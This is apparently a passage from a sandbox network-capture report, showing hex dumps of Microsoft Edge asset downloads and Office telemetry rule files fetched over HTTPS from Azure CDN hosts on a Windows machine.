2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 6b Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:k
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 02 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 f5 Data Ascii: g9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 03 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 ec Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 36 Data Ascii: .Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#6
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 85 Data Ascii: \m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 f6 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f 41 Data Ascii: dqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49837	13.107.246.63	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:48 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:47 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153447Z-174f7845968swgbqhC1EWRmnb40000000x6g00000000mne1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-27 15:34:48 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-27 15:34:48 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 1bb9e0d7-001e-0079-5e65-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153448Z-174f7845968px8v7hC1EWR08ng0000000xdg000000008czy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153448Z-174f7845968swgbqhC1EWRmnb40000000xc00000000024wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153448Z-174f78459685726chC1EWRsnbg0000000x5g00000000cxhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
